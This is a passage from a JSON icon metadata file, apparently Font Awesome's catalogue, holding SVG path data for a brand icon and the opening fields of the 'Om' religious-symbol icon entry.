3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M235.76 10.23c7.5-.31 15-.28 22.5-.09 3.61.14 7.2.4 10.79.73 4.92.27 9.79 1.03 14.67 1.62 2.93.43 5.83.98 8.75 1.46 7.9 1.33 15.67 3.28 23.39 5.4 12.24 3.47 24.19 7.92 35.76 13.21 26.56 12.24 50.94 29.21 71.63 49.88 20.03 20.09 36.72 43.55 48.89 69.19 1.13 2.59 2.44 5.1 3.47 7.74 2.81 6.43 5.39 12.97 7.58 19.63 4.14 12.33 7.34 24.99 9.42 37.83.57 3.14 1.04 6.3 1.4 9.47.55 3.83.94 7.69 1.18 11.56.83 8.34.84 16.73.77 25.1-.07 4.97-.26 9.94-.75 14.89-.24 3.38-.51 6.76-.98 10.12-.39 2.72-.63 5.46-1.11 8.17-.9 5.15-1.7 10.31-2.87 15.41-4.1 18.5-10.3 36.55-18.51 53.63-15.77 32.83-38.83 62.17-67.12 85.12a246.503 246.503 0 0 1-56.91 34.86c-6.21 2.68-12.46 5.25-18.87 7.41-3.51 1.16-7.01 2.38-10.57 3.39-6.62 1.88-13.29 3.64-20.04 5-4.66.91-9.34 1.73-14.03 2.48-5.25.66-10.5 1.44-15.79 1.74-6.69.66-13.41.84-20.12.81-6.82.03-13.65-.12-20.45-.79-3.29-.23-6.57-.5-9.83-.95-2.72-.39-5.46-.63-8.17-1.11-4.12-.72-8.25-1.37-12.35-2.22-4.25-.94-8.49-1.89-12.69-3.02-8.63-2.17-17.08-5.01-25.41-8.13-10.49-4.12-20.79-8.75-30.64-14.25-2.14-1.15-4.28-2.29-6.35-3.57-11.22-6.58-21.86-14.1-31.92-22.34-34.68-28.41-61.41-66.43-76.35-108.7-3.09-8.74-5.71-17.65-7.8-26.68-1.48-6.16-2.52-12.42-3.58-18.66-.4-2.35-.61-4.73-.95-7.09-.6-3.96-.75-7.96-1.17-11.94-.8-9.47-.71-18.99-.51-28.49.14-3.51.34-7.01.7-10.51.31-3.17.46-6.37.92-9.52.41-2.81.65-5.65 1.16-8.44.7-3.94 1.3-7.9 2.12-11.82 3.43-16.52 8.47-32.73 15.26-48.18 1.15-2.92 2.59-5.72 3.86-8.59 8.05-16.71 17.9-32.56 29.49-47.06 20-25.38 45.1-46.68 73.27-62.47 7.5-4.15 15.16-8.05 23.07-11.37 15.82-6.88 32.41-11.95 49.31-15.38 3.51-.67 7.04-1.24 10.56-1.85 2.62-.47 5.28-.7 7.91-1.08 3.53-.53 7.1-.68 10.65-1.04 2.46-.24 4.91-.36 7.36-.51m8.64 24.41c-9.23.1-18.43.99-27.57 2.23-7.3 1.08-14.53 2.6-21.71 4.3-13.91 3.5-27.48 8.34-40.46 14.42-10.46 4.99-20.59 10.7-30.18 17.22-4.18 2.92-8.4 5.8-12.34 9.03-5.08 3.97-9.98 8.17-14.68 12.59-2.51 2.24-4.81 4.7-7.22 7.06-28.22 28.79-48.44 65.39-57.5 104.69-2.04 8.44-3.54 17.02-4.44 25.65-1.1 8.89-1.44 17.85-1.41 26.8.11 7.14.38 14.28 1.22 21.37.62 7.12 1.87 14.16 3.2 21.18 1.07 4.65 2.03 9.32 3.33 13.91 6.29 23.38 16.5 45.7 30.07 65.75 8.64 12.98 18.78 24.93 29.98 35.77 16.28 15.82 35.05 29.04 55.34 39.22 7.28 3.52 14.66 6.87 22.27 9.63 5.04 1.76 10.06 3.57 15.22 4.98 11.26 3.23 22.77 5.6 34.39 7.06 2.91.29 5.81.61 8.72.9 13.82 1.08 27.74 1 41.54-.43 4.45-.6 8.92-.99 13.35-1.78 3.63-.67 7.28-1.25 10.87-2.1 4.13-.98 8.28-1.91 12.36-3.07 26.5-7.34 51.58-19.71 73.58-36.2 15.78-11.82 29.96-25.76 42.12-41.28 3.26-4.02 6.17-8.31 9.13-12.55 3.39-5.06 6.58-10.25 9.6-15.54 2.4-4.44 4.74-8.91 6.95-13.45 5.69-12.05 10.28-24.62 13.75-37.49 2.59-10.01 4.75-20.16 5.9-30.45 1.77-13.47 1.94-27.1 1.29-40.65-.29-3.89-.67-7.77-1-11.66-2.23-19.08-6.79-37.91-13.82-55.8-5.95-15.13-13.53-29.63-22.61-43.13-12.69-18.8-28.24-35.68-45.97-49.83-25.05-20-54.47-34.55-85.65-42.08-7.78-1.93-15.69-3.34-23.63-4.45-3.91-.59-7.85-.82-11.77-1.24-7.39-.57-14.81-.72-22.22-.58zM139.26 83.53c13.3-8.89 28.08-15.38 43.3-20.18-3.17 1.77-6.44 3.38-9.53 5.29-11.21 6.68-21.52 14.9-30.38 24.49-6.8 7.43-12.76 15.73-17.01 24.89-3.29 6.86-5.64 14.19-6.86 21.71-.93 4.85-1.3 9.81-1.17 14.75.13 13.66 4.44 27.08 11.29 38.82 5.92 10.22 13.63 19.33 22.36 27.26 4.85 4.36 10.24 8.09 14.95 12.6 2.26 2.19 4.49 4.42 6.43 6.91 2.62 3.31 4.89 6.99 5.99 11.1.9 3.02.66 6.2.69 9.31.02 4.1-.04 8.2.03 12.3.14 3.54-.02 7.09.11 10.63.08 2.38.02 4.76.05 7.14.16 5.77.06 11.53.15 17.3.11 2.91.02 5.82.13 8.74.03 1.63.13 3.28-.03 4.91-.91.12-1.82.18-2.73.16-10.99 0-21.88-2.63-31.95-6.93-6-2.7-11.81-5.89-17.09-9.83-5.75-4.19-11.09-8.96-15.79-14.31-6.53-7.24-11.98-15.39-16.62-23.95-1.07-2.03-2.24-4.02-3.18-6.12-1.16-2.64-2.62-5.14-3.67-7.82-4.05-9.68-6.57-19.94-8.08-30.31-.49-4.44-1.09-8.88-1.2-13.35-.7-15.73.84-31.55 4.67-46.82 2.12-8.15 4.77-16.18 8.31-23.83 6.32-14.2 15.34-27.18 26.3-38.19 6.28-6.2 13.13-11.84 20.53-16.67zm175.37-20.12c2.74.74 5.41 1.74 8.09 2.68 6.36 2.33 12.68 4.84 18.71 7.96 13.11 6.44 25.31 14.81 35.82 24.97 10.2 9.95 18.74 21.6 25.14 34.34 1.28 2.75 2.64 5.46 3.81 8.26 6.31 15.1 10 31.26 11.23 47.57.41 4.54.44 9.09.45 13.64.07 11.64-1.49 23.25-4.3 34.53-1.97 7.27-4.35 14.49-7.86 21.18-3.18 6.64-6.68 13.16-10.84 19.24-6.94 10.47-15.6 19.87-25.82 27.22-10.48 7.64-22.64 13.02-35.4 15.38-3.51.69-7.08 1.08-10.66 1.21-1.85.06-3.72.16-5.56-.1-.28-2.15 0-4.31-.01-6.46-.03-3.73.14-7.45.1-11.17.19-7.02.02-14.05.21-21.07.03-2.38-.03-4.76.03-7.14.17-5.07-.04-10.14.14-15.21.1-2.99-.24-6.04.51-8.96.66-2.5 1.78-4.86 3.09-7.08 4.46-7.31 11.06-12.96 17.68-18.26 5.38-4.18 10.47-8.77 15.02-13.84 7.68-8.37 14.17-17.88 18.78-28.27 2.5-5.93 4.52-12.1 5.55-18.46.86-4.37 1.06-8.83 1.01-13.27-.02-7.85-1.4-15.65-3.64-23.17-1.75-5.73-4.27-11.18-7.09-16.45-3.87-6.93-8.65-13.31-13.96-19.2-9.94-10.85-21.75-19.94-34.6-27.1-1.85-1.02-3.84-1.82-5.63-2.97zm-100.8 58.45c.98-1.18 1.99-2.33 3.12-3.38-.61.93-1.27 1.81-1.95 2.68-3.1 3.88-5.54 8.31-7.03 13.06-.87 3.27-1.68 6.6-1.73 10-.07 2.52-.08 5.07.32 7.57 1.13 7.63 4.33 14.85 8.77 21.12 2 2.7 4.25 5.27 6.92 7.33 1.62 1.27 3.53 2.09 5.34 3.05 3.11 1.68 6.32 3.23 9.07 5.48 2.67 2.09 4.55 5.33 4.4 8.79-.01 73.67 0 147.34-.01 221.02 0 1.35-.08 2.7.04 4.04.13 1.48.82 2.83 1.47 4.15.86 1.66 1.78 3.34 3.18 4.62.85.77 1.97 1.4 3.15 1.24 1.5-.2 2.66-1.35 3.45-2.57.96-1.51 1.68-3.16 2.28-4.85.76-2.13.44-4.42.54-6.63.14-4.03-.02-8.06.14-12.09.03-5.89.03-11.77.06-17.66.14-3.62.03-7.24.11-10.86.15-4.03-.02-8.06.14-12.09.03-5.99.03-11.98.07-17.97.14-3.62.02-7.24.11-10.86.14-3.93-.02-7.86.14-11.78.03-5.99.03-11.98.06-17.97.16-3.94-.01-7.88.19-11.82.29 1.44.13 2.92.22 4.38.19 3.61.42 7.23.76 10.84.32 3.44.44 6.89.86 10.32.37 3.1.51 6.22.95 9.31.57 4.09.87 8.21 1.54 12.29 1.46 9.04 2.83 18.11 5.09 26.99 1.13 4.82 2.4 9.61 4 14.3 2.54 7.9 5.72 15.67 10.31 22.62 1.73 2.64 3.87 4.98 6.1 7.21.27.25.55.51.88.71.6.25 1.31-.07 1.7-.57.71-.88 1.17-1.94 1.7-2.93 4.05-7.8 8.18-15.56 12.34-23.31.7-1.31 1.44-2.62 2.56-3.61 1.75-1.57 3.84-2.69 5.98-3.63 2.88-1.22 5.9-2.19 9.03-2.42 6.58-.62 13.11.75 19.56 1.85 3.69.58 7.4 1.17 11.13 1.41 3.74.1 7.48.05 11.21-.28 8.55-.92 16.99-2.96 24.94-6.25 5.3-2.24 10.46-4.83 15.31-7.93 11.46-7.21 21.46-16.57 30.04-27.01 1.17-1.42 2.25-2.9 3.46-4.28-1.2 3.24-2.67 6.37-4.16 9.48-1.25 2.9-2.84 5.61-4.27 8.42-5.16 9.63-11.02 18.91-17.75 27.52-4.03 5.21-8.53 10.05-13.33 14.57-6.64 6.05-14.07 11.37-22.43 14.76-8.21 3.37-17.31 4.63-26.09 3.29-3.56-.58-7.01-1.69-10.41-2.88-2.79-.97-5.39-2.38-8.03-3.69-3.43-1.71-6.64-3.81-9.71-6.08 2.71 3.06 5.69 5.86 8.7 8.61 4.27 3.76 8.74 7.31 13.63 10.23 3.98 2.45 8.29 4.4 12.84 5.51 1.46.37 2.96.46 4.45.6-1.25 1.1-2.63 2.04-3.99 2.98-9.61 6.54-20.01 11.86-30.69 16.43-20.86 8.7-43.17 13.97-65.74 15.34-4.66.24-9.32.36-13.98.36-4.98-.11-9.97-.13-14.92-.65-11.2-.76-22.29-2.73-33.17-5.43-10.35-2.71-20.55-6.12-30.3-10.55-8.71-3.86-17.12-8.42-24.99-13.79-1.83-1.31-3.74-2.53-5.37-4.08 6.6-1.19 13.03-3.39 18.99-6.48 5.74-2.86 10.99-6.66 15.63-11.07 2.24-2.19 4.29-4.59 6.19-7.09-3.43 2.13-6.93 4.15-10.62 5.78-4.41 2.16-9.07 3.77-13.81 5.02-5.73 1.52-11.74 1.73-17.61 1.14-8.13-.95-15.86-4.27-22.51-8.98-4.32-2.94-8.22-6.43-11.96-10.06-9.93-10.16-18.2-21.81-25.66-33.86-3.94-6.27-7.53-12.75-11.12-19.22-1.05-2.04-2.15-4.05-3.18-6.1 2.85 2.92 5.57 5.97 8.43 8.88 8.99 8.97 18.56 17.44 29.16 24.48 7.55 4.9 15.67 9.23 24.56 11.03 3.11.73 6.32.47 9.47.81 2.77.28 5.56.2 8.34.3 5.05.06 10.11.04 15.16-.16 3.65-.16 7.27-.66 10.89-1.09 2.07-.25 4.11-.71 6.14-1.2 3.88-.95 8.11-.96 11.83.61 4.76 1.85 8.44 5.64 11.38 9.71 2.16 3.02 4.06 6.22 5.66 9.58 1.16 2.43 2.46 4.79 3.55 7.26 1 2.24 2.15 4.42 3.42 6.52.67 1.02 1.4 2.15 2.62 2.55 1.06-.75 1.71-1.91 2.28-3.03 2.1-4.16 3.42-8.65 4.89-13.05 2.02-6.59 3.78-13.27 5.19-20.02 2.21-9.25 3.25-18.72 4.54-28.13.56-3.98.83-7.99 1.31-11.97.87-10.64 1.9-21.27 2.24-31.94.08-1.86.24-3.71.25-5.57.01-4.35.25-8.69.22-13.03-.01-2.38-.01-4.76 0-7.13.05-5.07-.2-10.14-.22-15.21-.2-6.61-.71-13.2-1.29-19.78-.73-5.88-1.55-11.78-3.12-17.51-2.05-7.75-5.59-15.03-9.8-21.82-3.16-5.07-6.79-9.88-11.09-14.03-3.88-3.86-8.58-7.08-13.94-8.45-1.5-.41-3.06-.45-4.59-.64.07-2.99.7-5.93 1.26-8.85 1.59-7.71 3.8-15.3 6.76-22.6 1.52-4.03 3.41-7.9 5.39-11.72 3.45-6.56 7.62-12.79 12.46-18.46zm31.27 1.7c.35-.06.71-.12 1.07-.19.19 1.79.09 3.58.1 5.37v38.13c-.01 1.74.13 3.49-.15 5.22-.36-.03-.71-.05-1.06-.05-.95-3.75-1.72-7.55-2.62-11.31-.38-1.53-.58-3.09-1.07-4.59-1.7-.24-3.43-.17-5.15-.2-5.06-.01-10.13 0-15.19-.01-1.66-.01-3.32.09-4.98-.03-.03-.39-.26-.91.16-1.18 1.28-.65 2.72-.88 4.06-1.35 3.43-1.14 6.88-2.16 10.31-3.31 1.39-.48 2.9-.72 4.16-1.54.04-.56.02-1.13-.05-1.68-1.23-.55-2.53-.87-3.81-1.28-3.13-1.03-6.29-1.96-9.41-3.02-1.79-.62-3.67-1-5.41-1.79-.03-.37-.07-.73-.11-1.09 5.09-.19 10.2.06 15.3-.12 3.36-.13 6.73.08 10.09-.07.12-.39.26-.77.37-1.16 1.08-4.94 2.33-9.83 3.39-14.75zm5.97-.2c.36.05.72.12 1.08.2.98 3.85 1.73 7.76 2.71 11.61.36 1.42.56 2.88 1.03 4.27 2.53.18 5.07-.01 7.61.05 5.16.12 10.33.12 15.49.07.76-.01 1.52.03 2.28.08-.04.36-.07.72-.1 1.08-1.82.83-3.78 1.25-5.67 1.89-3.73 1.23-7.48 2.39-11.22 3.57-.57.17-1.12.42-1.67.64-.15.55-.18 1.12-.12 1.69.87.48 1.82.81 2.77 1.09 4.88 1.52 9.73 3.14 14.63 4.6.38.13.78.27 1.13.49.4.27.23.79.15 1.18-1.66.13-3.31.03-4.97.04-5.17.01-10.33-.01-15.5.01-1.61.03-3.22-.02-4.82.21-.52 1.67-.72 3.42-1.17 5.11-.94 3.57-1.52 7.24-2.54 10.78-.36.01-.71.02-1.06.06-.29-1.73-.15-3.48-.15-5.22v-38.13c.02-1.78-.08-3.58.11-5.37zM65.05 168.33c1.12-2.15 2.08-4.4 3.37-6.46-1.82 7.56-2.91 15.27-3.62 23-.8 7.71-.85 15.49-.54 23.23 1.05 19.94 5.54 39.83 14.23 57.88 2.99 5.99 6.35 11.83 10.5 17.11 6.12 7.47 12.53 14.76 19.84 21.09 4.8 4.1 9.99 7.78 15.54 10.8 3.27 1.65 6.51 3.39 9.94 4.68 5.01 2.03 10.19 3.61 15.42 4.94 3.83.96 7.78 1.41 11.52 2.71 5 1.57 9.47 4.61 13.03 8.43 4.93 5.23 8.09 11.87 10.2 18.67.99 2.9 1.59 5.91 2.17 8.92.15.75.22 1.52.16 2.29-6.5 2.78-13.26 5.06-20.26 6.18-4.11.78-8.29.99-12.46 1.08-10.25.24-20.47-1.76-30.12-5.12-3.74-1.42-7.49-2.85-11.03-4.72-8.06-3.84-15.64-8.7-22.46-14.46-2.92-2.55-5.83-5.13-8.4-8.03-9.16-9.83-16.3-21.41-21.79-33.65-2.39-5.55-4.61-11.18-6.37-16.96-1.17-3.94-2.36-7.89-3.26-11.91-.75-2.94-1.22-5.95-1.87-8.92-.46-2.14-.69-4.32-1.03-6.48-.85-5.43-1.28-10.93-1.33-16.43.11-6.18.25-12.37 1.07-18.5.4-2.86.67-5.74 1.15-8.6.98-5.7 2.14-11.37 3.71-16.93 3.09-11.65 7.48-22.95 12.69-33.84zm363.73-6.44c1.1 1.66 1.91 3.48 2.78 5.26 2.1 4.45 4.24 8.9 6.02 13.49 7.61 18.76 12.3 38.79 13.04 59.05.02 1.76.07 3.52.11 5.29.13 9.57-1.27 19.09-3.18 28.45-.73 3.59-1.54 7.17-2.58 10.69-4.04 14.72-10 29-18.41 41.78-8.21 12.57-19.01 23.55-31.84 31.41-5.73 3.59-11.79 6.64-18.05 9.19-5.78 2.19-11.71 4.03-17.8 5.11-6.4 1.05-12.91 1.52-19.4 1.23-7.92-.48-15.78-2.07-23.21-4.85-1.94-.8-3.94-1.46-5.84-2.33-.21-1.51.25-2.99.53-4.46 1.16-5.74 3.03-11.36 5.7-16.58 2.37-4.51 5.52-8.65 9.46-11.9 2.43-2.05 5.24-3.61 8.16-4.83 3.58-1.5 7.47-1.97 11.24-2.83 7.23-1.71 14.37-3.93 21.15-7 10.35-4.65 19.71-11.38 27.65-19.46 1.59-1.61 3.23-3.18 4.74-4.87 3.37-3.76 6.71-7.57 9.85-11.53 7.48-10.07 12.82-21.59 16.71-33.48 1.58-5.3 3.21-10.6 4.21-16.05.63-2.87 1.04-5.78 1.52-8.68.87-6.09 1.59-12.22 1.68-18.38.12-6.65.14-13.32-.53-19.94-.73-7.99-1.87-15.96-3.71-23.78z"
      }
    },
    "free": ["brands"]
  },
  "om": {
    "aliases": {
      "unicodes": {
        "composite": ["1f549"],
        "secondary": ["10f679"]
      }
    },
    "changes": ["5.3.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Hindu",
        "buddhism",
        "hinduism",
        "jainism",
        "mantra",
        "om",
        "religion"
      ]
    },
    "styles": ["solid"],
    "unicode": "f679",
    "label": "Om",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767603,
